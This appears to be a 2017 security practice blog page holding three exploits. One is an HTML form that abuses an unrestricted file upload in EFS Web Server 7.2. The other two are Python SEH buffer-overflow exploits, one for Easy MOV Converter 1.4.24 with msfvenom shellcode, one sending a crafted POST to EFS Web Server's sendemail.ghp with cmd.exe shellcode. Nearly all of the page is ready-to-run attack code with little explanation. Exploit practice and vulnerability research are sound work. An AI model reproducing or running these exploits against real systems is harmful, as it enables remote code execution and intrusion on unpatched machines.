EFS Web Server 7.2 Unrestricted File Upload

##################################
# 2017/6/15 Chako
#
# EFS Web Server 7.2 Unrestricted File Upload
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
##################################

EFS Web Server 7.2 allows unauthorized users to upload malicious files

[Exploit]

// action="http://target_host/disk_c/vfolders
// </script><input size="20" name="upload_author" value="Admin" type="hidden"> 
// have to know the user name by Default "Admin"



<form action="http://192.168.136.129/disk_c/vfolders" name="post" onsubmit="return input(this)" enctype="multipart/form-data" method="post">
<input name="uploadid" id="uploadid" value="34533689" type="hidden">
          <center>
            <a name="reply"></a> 
            <table class="forumline" cellpadding="6" width="479">
              <tbody><tr bgcolor="#8080A6"> 
                <td bgcolor="#eff2f8" height="319"> 
                  <center>

<script language="JavaScript">
<!--
document.write('<input type="hidden" size="20" name="upload_author" Value="'+ReadCookie("UserID")+'">');
// -->
</script><input size="20" name="upload_author" value="Admin" type="hidden"> 
<script language="JavaScript">
<!--
document.write('<input type="hidden" size="20" name="upload_passwd" Value="'+ReadCookie("PassWD")+'">');
// --></script><input size="20" name="upload_passwd" value="829700" type="hidden"> 

                    <table cellpadding="0" border="0" width="437">
                      <tbody><tr> 
                        <td colspan="2" height="63"> <span class="bgen">Description:</span> <br> 
                          <input name="upload_title" id="upload_title" size="50" value="dd" type="text">
                          </td>
                      </tr>
                      <tr> 
                        <td colspan="2"><span class="bgen">File:</span> <br>
                          <input name="UploadedFile" id="UploadedFile" size="50" type="file">
                          <br> </td>
                      </tr>
                      <tr>
</tr>
<tr>
 
                        <td colspan="2" height="40"><font size="2" face="Arial, Helvetica, sans-serif" color="#FFFFFF"> 
                          <input name="Upload" class="button" value="Upload" type="submit">
                          </font> 

                      </td>
                      </tr>
                    </tbody></table>
                  </center></td>
              </tr>
            </tbody></table>
            
          </center>
        </form> 
		[/Exploit]
		

Easy MOV Converter 1.4.24 – Local Buffer Overflow(SEH)

just for fun and for practice 🙂



#!/usr/bin/python

##################################
#   2017/6/17  Chako
#  
#   Tested on: Windows XP SP3 EN
#  
#   Original code: https://www.exploit-db.com/exploits/41911/
#   Vulnerability discovered by :  Muhann4d
#   Easy MOV Converter 1.4.24 - Local Buffer Overflow(SEH)
#
##################################

import struct


# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -v Shellcode -f python
Shellcode =  ""
Shellcode += "\x89\xe5\xdb\xd8\xd9\x75\xf4\x5f\x57\x59\x49\x49"
Shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
Shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
Shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
Shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
Shellcode += "\x59\x6c\x59\x78\x4d\x52\x75\x50\x57\x70\x43\x30"
Shellcode += "\x55\x30\x6d\x59\x4b\x55\x55\x61\x6f\x30\x53\x54"
Shellcode += "\x6e\x6b\x56\x30\x30\x30\x6c\x4b\x53\x62\x44\x4c"
Shellcode += "\x6c\x4b\x36\x32\x72\x34\x4e\x6b\x34\x32\x75\x78"
Shellcode += "\x44\x4f\x6d\x67\x50\x4a\x47\x56\x34\x71\x6b\x4f"
Shellcode += "\x6e\x4c\x37\x4c\x31\x71\x53\x4c\x57\x72\x56\x4c"
Shellcode += "\x55\x70\x7a\x61\x48\x4f\x44\x4d\x73\x31\x78\x47"
Shellcode += "\x39\x72\x39\x62\x63\x62\x71\x47\x4e\x6b\x66\x32"
Shellcode += "\x46\x70\x6c\x4b\x51\x5a\x37\x4c\x4c\x4b\x62\x6c"
Shellcode += "\x46\x71\x53\x48\x58\x63\x32\x68\x57\x71\x38\x51"
Shellcode += "\x70\x51\x6e\x6b\x62\x79\x71\x30\x66\x61\x58\x53"
Shellcode += "\x4e\x6b\x57\x39\x34\x58\x39\x73\x67\x4a\x47\x39"
Shellcode += "\x4c\x4b\x50\x34\x4e\x6b\x36\x61\x39\x46\x45\x61"
Shellcode += "\x6b\x4f\x4c\x6c\x6b\x71\x78\x4f\x66\x6d\x56\x61"
Shellcode += "\x6b\x77\x34\x78\x4b\x50\x74\x35\x6b\x46\x37\x73"
Shellcode += "\x33\x4d\x38\x78\x67\x4b\x43\x4d\x67\x54\x43\x45"
Shellcode += "\x59\x74\x63\x68\x4c\x4b\x70\x58\x46\x44\x67\x71"
Shellcode += "\x6b\x63\x72\x46\x6c\x4b\x34\x4c\x52\x6b\x6c\x4b"
Shellcode += "\x33\x68\x37\x6c\x55\x51\x49\x43\x4c\x4b\x55\x54"
Shellcode += "\x4e\x6b\x63\x31\x6a\x70\x6b\x39\x53\x74\x35\x74"
Shellcode += "\x57\x54\x73\x6b\x61\x4b\x53\x51\x50\x59\x33\x6a"
Shellcode += "\x62\x71\x79\x6f\x4d\x30\x51\x4f\x33\x6f\x33\x6a"
Shellcode += "\x6c\x4b\x37\x62\x5a\x4b\x6c\x4d\x31\x4d\x71\x7a"
Shellcode += "\x57\x71\x4e\x6d\x4f\x75\x6c\x72\x43\x30\x77\x70"
Shellcode += "\x73\x30\x50\x50\x42\x48\x56\x51\x4e\x6b\x52\x4f"
Shellcode += "\x4e\x67\x6b\x4f\x68\x55\x4f\x4b\x48\x70\x6f\x45"
Shellcode += "\x6c\x62\x50\x56\x52\x48\x4d\x76\x4a\x35\x4f\x4d"
Shellcode += "\x6d\x4d\x49\x6f\x58\x55\x55\x6c\x33\x36\x61\x6c"
Shellcode += "\x74\x4a\x6b\x30\x69\x6b\x4d\x30\x74\x35\x54\x45"
Shellcode += "\x4d\x6b\x47\x37\x62\x33\x72\x52\x70\x6f\x32\x4a"
Shellcode += "\x63\x30\x56\x33\x59\x6f\x4e\x35\x33\x53\x63\x51"
Shellcode += "\x52\x4c\x33\x53\x44\x6e\x73\x55\x72\x58\x65\x35"
Shellcode += "\x77\x70\x41\x41"



Junk = "\x41" * 996

nSEH = "\xEB\x06\x90\x90"

# 0x10030f63 : pop esi # pop ebx # ret 0x04 | ascii {PAGE_EXECUTE_READ} [SkinMagic.dll] 
SEH = struct.pack("<L", 0x10030f63)


NOP = "\x90" * 20

BoF = Junk + nSEH + SEH + NOP + Shellcode + NOP

f = open ("exploit.txt", "w")
f.write(BoF)
f.close()


easymov1

easymov2

Easy File Sharing Web Server 7.2 Bof – SEH

Original code: https://www.exploit-db.com/exploits/42165/

Update(Published: 2017-06-15)
bl4ck h4ck3r wrote a better exploit with DEP bypass 🙂

https://www.exploit-db.com/exploits/42186/ 


# Exploit Title: Easy File Sharing Web Server 7.2 - 'POST' Buffer Overflow (DEP Bypass with ROP)
# Exploit Author: bl4ck h4ck3r
# Software Link: http://www.sharing-file.com/efssetup.exe
# Version: Easy File Sharing Web Server v7.2
# Tested on: Windows XP SP2, Windows 2008 R2 x64

No DEP bypass


#!/usr/bin/env python

##################################
#   2017/6/14  Chako
#   
#   Tested on: Windows XP SP3 EN
#   
#   Original code: https://www.exploit-db.com/exploits/42165/
#   Vulnerability discovered by : Touhid M.Shaikh
#   EFS Web Server 7.2 POST HTTP Request Buffer Overflow
##################################

import httplib

#len 26
shellcode = ("\x8b\xec\x55\x8b\xec\x68\x65\x78\x65"
             "\x2F\x68\x63\x6d\x64\x2e\x8d\x45\xf8"
             "\x50\xb8\xc7\x93\xc2\x77\xff\xd0")

#4072
#    SEH record (nseh field) at 0x01be71b8 overwritten with normal pattern :
#    0x66463366 (offset 4060), followed by 79 bytes of cyclic data after the #    handler


junk = "\x41" * 4060
nseh = "\xEB\x06\x90\x90"
#0x10012f3b : pop esi # pop ebx # ret  | ascii {PAGE_EXECUTE_READ} [ImageLoad.dll] 
#             ASLR: False, Rebase: False, SafeSEH: False, OS: False, 
#             v-1.0- (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll)

seh = "\x3B\x2F\x01\x10" #esi

#83
nop = "\x90" * 57
bof = junk + nseh + seh + shellcode + nop


httpServ = httplib.HTTPConnection("192.168.136.129", 80)
httpServ.connect()

httpServ.request('POST', '/sendemail.ghp',
'Email=%s&getPassword=Get+Password' % bof)
 
response = httpServ.getresponse()
 
 
httpServ.close()



fsws1

fsws2

fsws3